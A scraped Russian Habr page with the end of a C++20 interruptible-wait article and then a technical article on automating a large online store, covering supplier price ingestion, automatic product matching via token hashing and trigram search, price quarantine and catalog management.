interrupt\_token itoken);
template
bool wait\_for(unique\_lock& lock,
const chrono::duration& rel\_time,
Predicate pred,
interrupt\_token itoken);
template
bool wait\_until(unique\_lock& lock,
const chrono::time\_point& abs\_time,
Predicate pred,
interrupt\_token itoken);
```
Новые перегрузки требует предикат. Эти версии гарантированно получают уведомления, если поступает сигнал о прерывании для переданного им `std::interrupt_token itoken`. После вызовов `wait` вы можете проверить, не произошло ли прерывание.
```
cv.wait_until(lock, predicate, itoken);
if (itoken.is_interrupted()){
// interrupt occurred
}
```
#### Что дальше?
Как я и обещал в своей последней статье, следующая статья будет посвящена оставшимся правилам определения концептов (concepts).
---
> *Узнать подробнее о курсе* [*"****C++ Developer. Professional****"*](https://otus.pw/Yf6l/)*.
>
> Смотреть запись демо-занятия по теме* [***«Области видимости и невидимости»***](https://otus.pw/WYur/)*: участники вместе с экспертом попробовали реализовать класс общего назначения и запустить несколько unit-тестов с использованием googletest.*
>
> | https://habr.com/ru/post/548316/ | null | ru | null |
# Как мы автоматизировали большой интернет-магазин и стали сопоставлять товары автоматически
Статья больше техническая, чем про бизнес, но какие-то итоги с точки зрения бизнеса мы тоже подведем. Больше всего внимания будет уделено автоматическому сопоставлению товаров из разных источников.
Работа интернет-магазина состоит из достаточно большого числа составляющих. И каким бы ни был план, получать прибыль прямо сейчас, или расти и искать инвесторов, или, например, развивать смежные направления, как минимум придется закрывать такие вопросы:
* Работа с поставщиками. Чтобы продать что-то ненужное, нужно сначала купить что-то ненужное.
* Управление каталогом. У кого-то узкая специализация, а кто-то продает сотни тысяч разных товаров.
* Управление розничными ценами. Тут придется учесть и цены поставщиков, и цены конкурентов, и доступные финансовые инструменты.
* Работа со складом. В принципе, можно и не иметь собственного склада, а забирать товар со складов партнеров, но так или иначе вопрос стоит.
* Маркетинг. Тут наполнение сайта контентом, размещение на площадках, реклама (онлайн и офлайн), акции и много чего еще.
* Прием и обработка заказов. Колл-центр, корзина на сайте, заказы через мессенджеры, заказы через площадки и маркетплейсы.
* Доставка.
* Бухгалтерия и прочие внутренние системы.
Магазин, о котором мы будем говорить, не имеет узкой специализации, а предлагает кучу всего от косметики до мини-трактора. Я расскажу, как у нас устроена работа с поставщиками, мониторинг конкурентов, управление каталогом и формирование цен (оптовых и розничных), работа с оптовыми клиентами. Немного затронем тему склада.
Чтобы лучше понимать некоторые технические решения, будет не лишним знать, что в
какой-то момент мы решили, что технологические вещи, если это возможно, будем делать не для себя, а универсальными. И, возможно, после нескольких попыток выйдет развить новый бизнес. Получается, условно, стартап внутри компании.
Так что рассматриваем отдельную систему, более-менее универсальную, с которой интегрирована остальная инфраструктура компании.
В чем проблема работы с поставщиками
------------------------------------
А их много, на самом деле. Просто приведу некоторые:
* Поставщиков самих по себе много. У нас — порядка 400. Каждому нужно уделить какое-то время.
* Нет единого способа получить предложения поставщиков. Кто-то шлет на почту по расписанию, кто-то по запросу, кто-то загружает в файлообменники, кто-то размещает на сайте. Способов много, вплоть до пересылки файла по скайпу.
* Нет единого формата данных. Я даже картинку нарисовал на эту тему (она ниже, таблицы символизируют разные форматы).
* Существует понятие минимальных розничных и минимальных оптовых цен, которые нужно соблюдать, чтобы продолжать работать с поставщиком. Часто они предоставляются в своем собственном формате.
* Номенклатура у каждого поставщика своя. В итоге один и тот же товар называется по-разному, и нет уникального ключа, по которому их можно достаточно просто сопоставить. Поэтому мы сопоставляем сложно.
* Не автоматизирована система размещения заказа у поставщика. У кого-то заказываем по скайпу, у кого-то в личном кабинете, кому-то каждый вечер посылаем эксель-файл со списком заказов.
С этими проблемами мы научились справляться. Кроме последней, над последней работа в процессе. Сейчас будут технические подробности, а потом рассмотрим следующий список.
Собираем данные
---------------
### Как было
Файлы поставщиков вручную собирались из разных источников и подготавливались. Подготовка включала в себя переименование по определенному шаблону и редактирование содержимого. В зависимости от файла, нужно было удалить некондицию, товары, которых нет в наличии, переименовать столбцы или пересчитать валюту, собрать данные из разных вкладок на одной.
### Как стало
В первую очередь, мы научились проверять почту и забирать оттуда письма с вложениями. Потом автоматизировали работу с прямыми ссылками и ссылками на яндекс и гугл диски. Это решило вопрос с получением предложений примерно 75% наших поставщиков. Еще мы заметили, что именно по этим каналам предложения чаще обновляются, так что реальный процент автоматизации получился больше. Какие-то прайсы мы по-прежнему получаем в мессенджерах.
Во-вторых, мы больше не обрабатываем файлы вручную. Для этого мы завели профили поставщиков, где можно указать, что в каком столбце и на какой вкладке брать, как определять валюту и наличие, время доставки, график работы поставщика.
Получилось гибко. Естественно, не с первого раза все учли, но сейчас гибкости хватает чтобы настроить обработку всех 400 поставщиков с учетом того, что у всех разное форматирование файлов.
Что касается форматов файлов, то понимаем xls, xlsx, csv, xml (yml). В нашем случае этого оказалось достаточно.
Также придумали, как фильтровать записи. Завели список стоп-слов, и если предложение поставщика его содержит, то мы его не обрабатываем. Технические подробности такие: на небольшом списке можно и даже лучше “в лоб”, на больших списках быстрее фильтр Блума. С ним поэкспериментировали и оставили все как есть, потому что выигрыш ощущается на списке на порядок большем нашего.
Еще одна важная вещь — график работы поставщика. Наши поставщики работают по разным графикам, к тому же находятся в разных странах, выходные дни в которых не совпадают. А время доставки обычно указано в виде числа или диапазона чисел в рабочих днях. Когда мы будем формировать розничные и оптовые цены, нам придется как-то оценить время, когда мы сможем доставить товар клиенту. Для этого мы завели конфигурируемые календари, и в настройках каждого поставщика можно указать, по какому из календарей он работает.
Пришлось сделать конфигурацию скидок и наценок в зависимости от категории и производителя. Бывает так, что у поставщика общий файл для всех партнеров, но есть договоренности по скидкам с некоторыми партнерами. Благодаря этому еще оказалось возможно добавить или отнять НДС при необходимости.
Кстати, конфигурация правил скидок и наценок приводит нас к следующей теме. Ведь перед их применением нужно узнать, что это за товар.
Как работает сопоставление
--------------------------
Небольшой пример того, как один и тот же товар может быть назван у разных поставщиков, для понимания того, с чем придется работать:
> Монитор LG LCD 22MP48D-P
>
> 21.5" LG 22MP48D-P Black (16:9, 1920x1080, IPS, 60 Гц, интерфейсы DVI+D-Sub (VGA))
>
> COMP — Компьютерная периферия — Мониторы LG 22MP48D-P
>
> до 22" включительно LG Монитор LG 22MP48D-P (21.5", черный, IPS LED 5ms 16:9 DVI матовая 250cd 1920x1080 D-Sub FHD) 22MP48D-P
>
> Мониторы LG 22" LG 22MP48D-P Glossy-Black (IPS, LED, 1920x1080, 5 ms, 178°/178°, 250 cd/m, 100M:1 ,+DVI) Монитор
>
> Мониторы LCD LG Монитор LCD 22" IPS 22MP48D-P LG 22MP48D-P
>
> LG Монитор 21.5" LG 22MP48D-P gl.Black IPS, 1920x1080, 5ms, 250 cd/m2, 1000:1 (Mega DCR), D-Sub, DVI-D (HDCP), vesa 22MP48D-P.ARUZ
>
> LG Монитор LG 22MP48D-P Black 22MP48D-P.ARUZ
>
> Монитор LG 22MP48D-P 22MP48D-P
>
> Мониторы LG 22MP48D-P Glossy-Black 22MP48D-P
>
> Монитор 21.5" LG Flatron 22MP48D-P gl.Black (IPS, 1920x1080, 16:9, 178/178, 250cd/m2, 1000:1, 5ms, D-Sub, DVI-D) (22MP48D-P) 22MP48D-P
>
> Монитор 22" LG 22MP48D-P
>
> LG 22MP48D-P IPS DVI
>
> LG LG 21.5" 22MP48D-P IPS LED, 1920x1080, 5ms, 250cd/m2, 5Mln:1, 178°/178°, D-Sub, DVI, Tilt, VESA, Glossy Black 22MP48D-P
>
> LG 21.5" 22MP48D-P (16:9, IPS, VGA, DVI) 22MP48D-P
>
> Монитор 21.5`` LG 22MP48D-P Black
>
> LG МОНИТОР 21.5" LG 22MP48D-P Glossy-Black (IPS, LED, 1920x1080, 5 ms, 178°/178°, 250 cd/m, 100M:1 ,+DVI) 22MP48D-P
>
> LG Монитор LCD 21.5'' [16:9] 1920х1080(FHD) IPS, nonGLARE, 250cd/m2, H178°/V178°, 1000:1, 16.7M Color, 5ms, VGA, DVI, Tilt, 2Y, Black OK 22MP48D-P
>
> LCD LG 21.5" 22MP48D-P черный {IPS LED 1920x1080 5ms 16:9 250cd 178°/178° DVI D-Sub} 22MP48D-P.ARUZ
>
> IDS\_Monitors LG LG 22" LCD 22MP48D 22MP48D-P
>
> 21.5" 16x9 LG Монитор LG 21.5" 22MP48D-P черный IPS LED 5ms 16:9 DVI матовая 250cd 1920x1080 D-Sub FHD 2.7кг 22MP48D-P.ARUZ
>
> Монитор 21.5" LG 22MP48D-P [Black]; 5ms; 1920x1080, DVI, IPS
### Как было
Сопоставлением занималась 1С (сторонний платный модуль). Что касается удобства / скорости / точности, то такая система позволяла поддерживать каталог с 60 тысячами товаров в наличии на этом уровне силами 6 человек. То есть, каждый день устаревало и исчезало из предложений поставщиков столько сопоставленных товаров, сколько создавалось новых. Очень примерно — 0,5% от размеров каталога, т.е. 300 товаров.
### Как стало: общее описание подхода
Чуть выше я привел пример того, что нам нужно сопоставлять. Исследуя тему сопоставления, я был немного удивлен, что ElasticSearch пользуется популярностью для задачи сопоставления, по-моему, у него есть концептуальные ограничения. Что касается нашего стека технологий, то для хранения данных мы используем MS SQL Server, но сопоставление работает на собственной инфраструктуре, а поскольку данных много и нужно обрабатывать их быстро, применяем оптимизированные под конкретную задачу структуры данных и стараемся без необходимости не обращаться к диску, базе и прочим медленным системам.
Очевидно, задачу сопоставления можно решать многими способами и очевидно, ни один из них не даст стопроцентную точность. Поэтому основная идея состоит в том, чтобы попытаться комбинировать эти способы, ранжировать их по точности и быстроте и применять по убыванию точности с учетом скорости.
План выполнения каждого нашего алгоритма (с оговоркой про вырожденные случаи) можно кратко представить такой общей последовательностью:
Токенизация. Разбиваем исходную строку на что-то значащие самостоятельные части. Можно сделать один раз и дальше использовать во всех алгоритмах.
Нормализация токенов. По-хорошему, нужно слова естественного языка привести к общему числу и склонению, а идентификаторы типа “АВС15МХ” (это кириллица, если что) конвертировать в латиницу. И привести все к одному регистру.
Категоризация токенов. Пытаемся понять, что каждая из частей значит. Например, можно выделить категорию, производителя, цвет и так далее.
Поиск лучшего кандидата на совпадение.
Оценка вероятности того, что исходная строка и лучший кандидат действительно обозначают один и тот же товар.
Два первых пункта у нас общие для всех алгоритмов, которые есть на данный момент, а дальше начинаются импровизации.
Токенизация. Тут мы поступили просто, разбиваем строку на части по специальным символам типа пробела, слэша и так далее. Набор символов со временем получился значительным, но ничего сложного в самом алгоритме мы не применяли.
Потом нам нужно нормализовать токены. Конвертируем их в нижний регистр. Вместо того, чтобы приводить все к именительному падежу, мы просто отрезаем окончания. Ещё у нас есть небольшой словарь, и мы переводим наши токены на английский. Помимо прочего, перевод избавляет нас от синонимов, похожие по смыслу русские слова на английский переводятся одинаково. Где не сумели перевести, меняем похожие по написанию кириллические символы на латиницу. (Совсем не лишнее, как оказалось. Даже там, где не ждешь подвоха, например, в строке “Samsung UЕ43NU7100U” кириллическая Е вполне может встретиться).
Категоризация токенов. Мы можем выделить категорию, производителя, модель, артикул, EAN, цвет. У нас есть каталог, где данные структурированы. У нас есть данные о конкурентах, которые нам предоставляют торговые площадки. При их обработке, где возможно, мы структурируем данные. Мы можем исправить ошибки или опечатки, например, производителя или цвет, которые встречаются только один раз во всех наших источниках, не считать за производителя и цвет соответственно. Как следствие, у нас есть большой словарь возможных производителей, моделей, артикулов, цветов, и категоризация токена — это просто поиск по словарю за O(1). Теоретически, можно иметь открытый список категорий и какой-то умный алгоритм классификации, но и наш базовый подход работает хорошо, а категоризация не является узким местом.
Тут следует оговориться, что иногда поставщик предоставляет уже структурированные данные, например, артикул находится в отдельной ячейке в таблице, или поставщик при оптовых продажах делает скидку от розницы, а розничные цены можно получить в yml (xml) формате. Тогда мы сохраняем структуру данных, а эвристически делим токены на категории только из неструктурированных данных.
А теперь о том, какие алгоритмы и в каком порядке применяем.
### Точные и почти точные совпадения
Самый простой случай. Строки разбили на токены, привели их к одному виду. Дальше придумали хэш-функцию, не чувствительную к порядку токенов. К тому же, сопоставляя по хэшу, мы можем держать все данные в памяти, условные 16 мегабайт на словарь с миллионом ключей мы можем себе позволить. На практике алгоритм показал себя лучше, чем простое сравнение строк.
Что касается хэширования, то напрашивается применение «исключающего или» и функция типа такой:
```
public static long GetLongHashCode(IEnumerable tokens)
{
long hash = 0;
foreach (var token in tokens.Distinct())
{
hash ^= GetLongHashCode(token);
}
return hash;
}
```
Самое интересное на этом этапе — получение хэша отдельной строки. На практике выяснилось, что 32 бита мало, получается много коллизий. А еще — что нельзя просто взять исходный код функции из фреймворка и поменять тип возвращаемого значения, коллизий для отдельных строк становится меньше, но после «исключающего или» они все равно встречаются, поэтому мы написали свою. По сути, просто добавили в функцию из фреймворка нелинейности от входных данных. Стало однозначно лучше, с новой функцией с коллизией мы встретились только один раз на наших миллионах записей, записали и отложили до лучших времен.
Таким образом, мы ищем совпадения без учета порядка слов и их формы. Работает такой поиск за O(1).
К сожалению, редко, но бывает и так: “ABC 42 Type 16” и “ABC 16 Type 42”, и это два разных товара. С такими вещами мы тоже научились справляться, но об этом позже.
### Сопоставление подтвержденных человеком товаров
У нас есть товары, сопоставленные вручную (чаще всего это товары, сопоставленные автоматически, но попавшие на ручную проверку). По сути, то же самое мы делаем и в этом случае, только у нас теперь добавился словарь сопоставленных хэшей, поиск по которому не изменил временную сложность алгоритма.
Сопоставленные вручную строки просто лежат в базе, на всякий случай, такие сырые данные позволят в будущем поменять алгоритм хэширования, все пересчитать и ничего не потерять.
### Сопоставление по атрибутам
Первые два алгоритма быстрые и точные, но их недостаточно. Следующим мы применяем сопоставление по атрибутам.
Раньше мы уже представили данные в виде нормализованных токенов и даже отсортировали их по категориям. В этой главе я называю категории токенов атрибутами.
Самый надежный атрибут — это EAN (https://ru.wikipedia.org/wiki/European\_Article\_Number). Совпадения EAN дают почти стопроцентную гарантию того, что это один и тот же продукт. Несовпадение EAN, при этом, ничего не говорит, потому что у одного товара могут быть разные EAN. Все бы хорошо, но в наших данных EAN встречается редко, поэтому его влияние на сопоставление на уровне погрешности.
Артикул менее надежен. Туда часто попадает что-то странное прямо из структурированных данных поставщика, но в любом случае на данном этапе мы его используем.
Как и на прошлом этапе, тут мы используем словари (поиск за O(1)), а в качестве ключа используется хэш от (производитель + модель + артикул). Хэширование позволяет производить все операции в памяти. При этом учитываем еще и цвет, если он совпадает или его нет, то считаем, что товары совпали.
### Поиск наилучшего совпадения
Предыдущие этапы были простыми, быстрыми и довольно надежными, но, к сожалению, они покрывают меньше половины сопоставлений.
В поиске наилучшего совпадения лежит простая идея: совпадение редких токенов имеет большой вес, совпадение частых — малый вес. Токены, содержащие цифры, ценятся больше, чем буквенные. Токены, которые совпадают в одинаковом порядке, ценятся больше, чем токены, которые переставлены местами. Длинные совпадения лучше коротких.
Теперь осталось придумать быструю структуру данных, которая может все это одновременно учесть и помещается в память на каталоге в пару миллионов записей.
Мы придумали представить наш каталог в виде словаря словарей, на первом уровне ключом будет хэш от производителя (данные в каталоге структурированы, производителя мы знаем), значением — словарь. Теперь второй уровень. Ключом на втором уровне будет хэш от токена, значением — список id товаров из каталога, где этот токен встречается. Причем в данном случае мы используем в том числе комбинации токенов в том порядке, в котором они встречаются в нашем каталоге. Что использовать как комбинацию, а что — нет решаем в зависимости от количества токенов, их длины и так далее, это компромисс между скоростью, точностью и требуемой памятью. На рисунке я упрощенно изобразил эту структуру, без хэшей и без нормализации.
Если на каждый товар в среднем использовать 20 токенов, то в наших списках, которые значения вложенного словаря, ссылка на товар встретится в среднем 20 раз. Различных токенов при этом будет не более чем в 20 раз больше, чем товаров в каталоге. Приблизительно можно посчитать память, которая требуется на каталог в миллион записей: 20 миллионов ключей по 4 байта на каждый, 20 миллионов id товаров по 4 байта на каждый, накладные расходы на организацию словарей и списков (порядок такой же, но поскольку размер списков и словарей мы не знаем заранее, а увеличиваем на ходу, умножаем на два). Итого — 480 мегабайт. В реальности получилось чуть больше токенов на товар, и нам требуется до 800 мегабайт на каталог в миллион товаров. Что приемлемо, возможности современного железа позволяют одновременно хранить в памяти больше сотни каталогов такого размера.
Вернемся к алгоритму. Имея строку, которую нам надо сопоставить, мы можем определить производителя (у нас есть алгоритм категоризации), а потом получить токены по такому же алгоритму, что и для товаров из каталога. Тут я подразумеваю в том числе комбинации токенов.
Дальше все сравнительно просто. Для каждого токена мы можем быстро найти все товары, в которых он встречается, оценить вес каждого совпадения с учетом всего того, о чем мы говорили раньше — длины, частоты, наличия цифр или спецсимволов, и оценить “похожесть” всех найденных кандидатов. В реальности тут тоже есть оптимизации, всех кандидатов мы не считаем, сначала формируем небольшой список по совпадениям токенов с большим весом, а совпадения токенов с малым весом применяем не ко всем товарам, а только к этому списку.
Выбираем лучшее соответствие, смотрим совпадения токенов, которые получилось отнести к категориям и считаем оценку сопоставления. Дальше у нас есть два пороговых значения П1 и П2, П1 < П2. Если оценка получилась больше порогового значения П2 — участия человека не требуется, все происходит автоматически. Если между двух значений — предлагаем посмотреть сопоставление вручную, до этого оно не будет участвовать в формировании цен. Если меньше П1 — скорее всего, такого товара нет в каталоге, ничего не возвращаем.
Вернемся к строкам “ABC 42 Type 16” и “ABC 16 Type 42”. Решение на удивление простое — если у нескольких товаров одинаковые хэши, то мы их не сопоставляем по хэшу. А последний алгоритм учтет порядок токенов. Теоретически, такие строки в прайсе поставщика нельзя сопоставить чему-то произвольному, где числа 16 и 42 не встречаются вообще. Практически с такой необходимостью мы не сталкивались.
### Скорость и точность сопоставления
Теперь что касается скорости всего этого. Время, которое требуется на подготовку словарей, линейно зависит от размеров каталога. Время, которое требуется непосредственно на сопоставление, линейно зависит от количества сопоставляемых товаров. Все структуры данных, участвующие в поиске, не изменяются после создания. Это дает нам возможность использовать многопоточность на этапе сопоставления. Подготовительная работа для каталога в миллион записей занимает порядка 40-80 секунд. Сопоставление работает со скоростью 20-40 тысяч записей в секунду и не зависит от размера каталога. Потом, правда, нужно сохранить результаты. Выбранный подход в целом выгодный для больших объемов, но файл с десятком записей будет обрабатываться непропорционально долго. Поэтому мы используем кэш и пересчитываем наши поисковые структуры раз в 15 минут.
Правда, данные для сопоставления нужно где-то прочитать (чаще всего это эксель файл), а сопоставленные предложения нужно где-то сохранить, и это тоже занимает время. Так что итоговое число 2-4 тысячи записей в секунду.
Для того, чтобы оценить точность, мы подготовили тестовый набор из примерно 20 000 проверенных вручную сопоставлений разных поставщиков из разных категорий. Алгоритм после каждого изменения тестировался на этих данных. Результаты получились такие:
* товар есть в каталоге и был сопоставлен правильно — 84%
* товар есть в каталоге, но не был сопоставлен, требуется ручное сопоставление — 16%
* товар есть в каталоге и был сопоставлен неправильно — 0.2%
* товара нет в каталоге, и программа это правильно определила — 98.5%
* товара нет в каталоге, но программа его сопоставила какому-то из товаров — 1.5%
В 80% случаев, когда товар был сопоставлен, не требуется ручное подтверждение (автоматически подтверждаем сопоставление), среди таких подтвержденных автоматически предложений 0.1% ошибок.
Кстати, 0.1% ошибок — это много, оказывается. На миллион сопоставленных записей это тысяча записей, сопоставленных неправильно. А много это потому что покупатели именно такие записи находят лучше всего. Ну как не заказать трактор по цене фары от этого трактора. Впрочем, эта тысяча ошибок — это на старте работы на миллионе предложений, постепенно они были исправлены. Карантин для подозрительных цен, который закрывает этот вопрос, у нас появился позже, первые пару месяцев мы работали без него.
Есть еще одна категория ошибок, не связанная с сопоставлением, это неправильные цены наших поставщиков. Отчасти поэтому мы не учитываем цену в сопоставлении. Мы решили, что раз уж у нас есть дополнительная информация в виде цены, то будем с ее помощью пытаться определить не только свои, но и чужие ошибки.
### Поиск неправильных цен
Это та часть, которая над которой мы сейчас активно экспериментируем. Базовая версия есть, и она не позволяет продавать телефон по цене чехла, но у меня есть ощущение, что можно лучше.
Для каждого товара находим границы приемлемых цен поставщиков. В зависимости того, какие данные есть, мы учитываем цены поставщиков на этот товар, цены конкурентов, цены поставщиков на товары этого производителя в этой категории. Те цены, которые не попали в границы, мы помещаем в карантин и игнорируем во всех наших алгоритмах. Вручную можно отметить такую подозрительную цену как нормальную, тогда мы для данного товара запоминаем это и пересчитываем границы приемлемых цен.
Непосредственно алгоритм расчета максимальной и минимальной приемлемой цены сейчас постоянно меняется, ищем компромисс между количеством ложных срабатываний и количеством выявленных неправильных цен.
Мы в расчетах используем медианные значения (средние дают худший результат) и пока не анализируем форму распределения. Анализ формы распределения — как раз место, где, как мне кажется, можно улучшить алгоритм.
### Работа с базой данных
Из всего выше написанного можно сделать вывод, что данные по поставщикам и конкурентам мы обновляем часто и помногу, и работа с базой может стать узким местом. В принципе, мы изначально обратили на это внимание и попытались добиться максимальной производительности. При работе с большим количеством записей мы делаем следующее:
* удаляем индексы из таблицы, с которой работаем
* отключаем full text индексирование по этой таблице
* удаляем все записи с определенным условием (например, все предложения конкретных поставщиков, которых обрабатываем в данный момент)
* вставляем новые записи при помощи BULK COPY
* заново создаем индексы
* включаем full text индексирование
Bulk copy работает со скоростью 10-40 тысяч записей в секунду, почему такой большой разброс еще предстоит выяснить, но и так приемлемо.
Удаление записей занимает примерно такое же время, что и вставка. Еще некоторое время требуется на пересоздание индексов.
Кстати, для каждого каталога у нас отдельная база данных. Их мы создаем на лету. А сейчас расскажу, почему у нас больше одного каталога.
В чем проблема ведения каталога
-------------------------------
А их тоже много. Сейчас будем перечислять:
* В каталоге примерно 400 тысяч товаров из совершенно разных категорий. Невозможно профессионально разбираться в каждой из категорий.
* Нужно соблюдать определенную стилистику, следовать общими для всего каталога правилами наименования, выделения подкатегорий и так далее. Таким образом мы пытаемся добиться стройной и логичной структуры каталога.
* Один и тот же товар можно создать несколько раз, и это проблема. Без инструмента, который анализирует похожие наименования, создание дублей происходит постоянно.
* Разумно добавлять в каталог те товары, которые есть у поставщиков в наличии. При этом нужно иметь приоритеты на товарные категории.
* Нам требуется несколько каталогов. Один свой, его мы ведем сами, другой — каталог агрегатора, его обновляем по апи. Смысл второго каталога в том, что площадка-агрегатор работает только с собственным каталогом, и, соответственно, предложения принимает в своей номенклатуре. Это еще одно место, где оказалось нужно сопоставление.
Мы посчитали, что логично и правильно вести каталог там же, где осуществляются сопоставления. Так мы сможем подсказать пользователям, которые администрируют каталог, что есть у поставщика, но нет у нас в каталоге.
Как мы ведем каталог
--------------------
Речь пойдет о каталоге без подробных характеристик, характеристики — отдельная большая история, о ней как-нибудь в другой раз.
В качестве базовых свойств мы выбрали такие:
* производитель
* категория
* модель
* артикул
* цвет
* EAN
Для начала сделали апи для получения каталога из внешнего источника, а дальше работали над удобством создания, редактирования и удаления записей.
### Как работает поиск
Удобство управления каталогом, в первую очередь — это возможность быстро найти товар в каталоге или предложение поставщика, причем есть нюансы. Например, нужно уметь искать строчку “LG 21.5" 22MP48D-P (16:9, IPS, VGA, DVI) 22MP48D-P” по запросу “2MP48”.
Полнотекстовый поиск sql сервера из коробки не годится, потому что он так не умеет, а поиск с помощью LIKE ‘%2MP48%’ слишком медленный.
Наше решение достаточно стандартно, мы используем N-граммы. Если точнее — то триграммы. А уже по триграммам строим полнотекстовый индекс и производим полнотекстовый поиск. Не уверен, что мы очень рационально используем место в этом случае, но по скорости такое решение подошло, в зависимости от запроса, работает от 50 до 500 миллисекунд, иногда до секунды на массиве в три миллиона записей.
Поясню, строка “LG 21.5" 22MP48D-P (16:9, IPS, VGA, DVI) 22MP48D-P” преобразуется в строку “lg2 g21 215 152 522 22m 2mp mp4 p48 48d 8dp dp1 p16 169 69i 9ip ips psv svg vga gad adv dvi vi2 i22”, которая сохраняется в отдельное поле, которое участвует в полнотекстовом индексе.
Кстати, триграммы нам еще пригодятся.
### Создание нового товара
В большинстве своем, товары в каталоге создаются по предложениям поставщика. То есть, у нас уже есть информация, что поставщик предлагает “LG Монитор LCD 21.5'' [16:9] 1920х1080(FHD) IPS, nonGLARE, 250cd/m2, H178°/V178°, 1000:1, 16.7M Color, 5ms, VGA, DVI, Tilt, 2Y, Black OK 22MP48D-P” по цене 120 долларов, и на складе у него от 5 до 10 единиц.
При создании товара, в первую очередь, нам нужно убедиться, что такой товар в каталоге еще не создан. Эту задачу мы решаем в четыре этапа.
Во-первых, если товар у нас в каталоге есть, с большой вероятностью предложение поставщика будет сопоставлено этому товару автоматически.
Во-вторых, прежде чем показать пользователю форму создания нового товара, мы выполним поиск по триграммам и покажем самые релевантные результаты. (технически это делается с помощью CONTAINSTABLE).
В третьих, по мере заполнения полей нового товара мы будем показывать похожие существующие товары. Это решает две задачи: помогает избежать дублей и выдержать стилистику в наименованиях, похожие товары можно использовать как образец.
И в четвертых, помните мы разбивали строки на токены, нормализовали их, считали хэши? Сделаем то же самое и просто не дадим создать товары с одинаковыми хэшами.
Еще на этом этапе мы стараемся помочь пользователю. По строке, которая есть в прайсе, мы попытаемся определить производителя, категорию, артикул, EAN и цвет товара. Сначала — по токенам (мы умеем их делить на категории), потом, если не получилось, найдем самый похожий товар по триграммам. И, если он достаточно похож, заполним производителя и категорию.
Редактирование товара работает почти так же, просто не все применимо.
Как мы формируем свои цены
--------------------------
Задача такая: соблюсти баланс между количеством и маржинальностью продаж, по сути — добиться максимальной прибыли. Все остальные аспекты работы магазина тоже об этом, но именно то, что происходит на этапе формирования цен, оказывает наибольшее влияние.
Как минимум нам понадобится информация о предложениях поставщиков и конкурентов. Еще стоит учесть минимальные розничные и оптовые цены и затраты на доставку, а также финансовые инструменты — кредиты и рассрочки.
### Собираем цены конкурентов
Начнем с того, что профилей собственных цен у нас много. Есть профиль для розницы, есть несколько для оптовых клиентов. Все они создаются и настраиваются в нашей системе.
Соответственно, и конкуренты для каждого профиля разные. В рознице — другие розничные магазины, в оптовых продажах — наши же поставщики.
С поставщиками все ясно, а для розницы данные о конкурентах собираем несколькими способами. Во-первых, некоторые агрегаторы предоставляют информацию о всех ценах на все товары, которые есть на площадке. В собственной номенклатуре, но мы умеем сопоставлять товары, так что это работает автоматически. И этого пока почти хватает. Во-вторых, у нас есть парсеры конкурентов. Поскольку они пока не автоматизированы и существуют в виде консольных приложений (которые иногда падают), то и пользуемся ими редко.
### Настраимаем профиль
В профиле у нас есть возможность настроить разные диапазоны наценок в зависимости от цены товара у поставщика, категории, производителя, поставщика. Еще есть возможность указать, с какими поставщиками по какой категории или производителю работаем, а с какими — нет, кого из конкурентов учитываем.
Потом настраиваем финансовые инструменты, указываем, какие рассрочки доступны и сколько банк заберет себе.
И уже в границах наценок мы формируем собственные цены, пытаясь соблюсти тот самый баланс во-первых, и сделать так, чтобы наши складские товары лучше продавались во-вторых. Это в двух словах так, а на деле я не берусь объяснить простыми словами, что там происходит.
Могу рассказать, чего не происходит. К сожалению, мы пока не умеем прогнозировать спрос и учитывать затраты на хранение товаров на складе.
Интеграции со сторонними системами
----------------------------------
Важная часть с точки зрения бизнеса, но неинтересная с технической точки зрения. В двух словах скажу, что мы умеем отдавать данные в сторонние системы (в том числе инкрементально, то есть, понимаем, что поменялось с прошлого обмена) и умеем делать почтовые рассылки.
Рассылки настраиваемые, так (и не только так) мы доставляем наши предложения оптовым клиентам.
Еще один способ работать с оптовыми клиентами — b2b портал. Он пока в активной разработке, заработает буквально через месяц.
Аккаунты, логирование изменений
-------------------------------
Еще один неинтересный с технической точки зрения вопрос. У нас у каждого пользователя свой аккаунт.
Если кратко, то сказать можно следующее: если используется ORM, то в ней есть встроенный механизм отслеживания изменений. Если в него влезть (а в нашем случае это EF Core и там даже API есть), то можно получить логирование всего практически в две строчки.
Для истории изменений мы сделали интерфейс, и теперь можно проследить, кто и что менял в настройках системы, кто редактировал или сопоставлял определенные товары и так далее.
По логам можно считать статистику, что мы и делаем. Мы знаем, кто сколько товаров создал или отредактировал, сколько сопоставлений подтвердил вручную и сколько отклонил, можно посмотреть каждое изменение.
Немного об общем устройстве системы
-----------------------------------
У нас одна база для аккаунтов и не зависящих от каталога вещей, одна база для логов, и по базе на каждый каталог. Так и запросы к каталогу получаются легче, и анализировать данные проще, и код получается более понятным.
Кстати, система логирования самописная, нам очень нужно группировать логи, относящиеся к одному запросу или одной тяжелой задаче, кроме того, нужен базовый функционал для их анализа. С готовыми решениями это получалось сложно, плюс это еще одна зависимость, которую надо поддерживать.
Веб-интерфейс сделан на ASP.NET Core и бутстрапе, а тяжелые опрерации выполняются Windows — сервисом.
Еще одна особенность, которая пошла проекту на пользу, на мой взгляд, — разные модели на чтение и запись данных. Полноценный СQRS мы не внедряли, но одну из концепций оттуда взяли. Запись в базу у нас через репозитории, но объекты, которые используются для записи, никогда не покидают методов обновления / создания / удаления. Массовое обновление делаем посредством BULK COPY. Для чтения сделана отдельная модель и отдельная прослойка доступа к данным, таким образом мы читаем только то, что нужно в конкретный момент. Получилось, что можно пользоваться ORM, и при этом избежать тяжелых запросов, обращений к базе в неопределенные моменты (как с ленивой загрузкой), проблемы N + 1. А еще мы используем модель для чтения как DTO.
Из крупных зависимостей у нас ASP.NET Core, несколько сторонних nuget-пакетов и MS SQL Server. Пока возможно, стараемся не зависеть от множества сторонних систем. Для того, чтобы полностью развернуть проект локально, достаточно установить SQL Server, забрать исходный код из системы контроля версий и собрать проект. Нужные базы будут созданы автоматически, а больше ничего и не надо. Возможно, придется изменить одну-две строчки в конфигурации.
Что не сделали
--------------
Пока не сделали систему знаний по проекту. Хотим делать вики и подсказки по месту. Не сделали простого интуитивного интерфейса, тот, что есть неплох, но для неподготовленного человека немного запутан. CI/CD пока только в планах.
Не сделали обработку подробных характеристик товаров. Тоже планируем, но пока нет конкретного срока.
Итоги с точки зрения бизнеса
----------------------------
С момента начала активной разработки до запуска в продакшен над проектом работало два человека в течение 7 месяцев. На старте у нас был прототип, сделанный в свободное время. Сложнее всего дались интеграции с существующими системами.
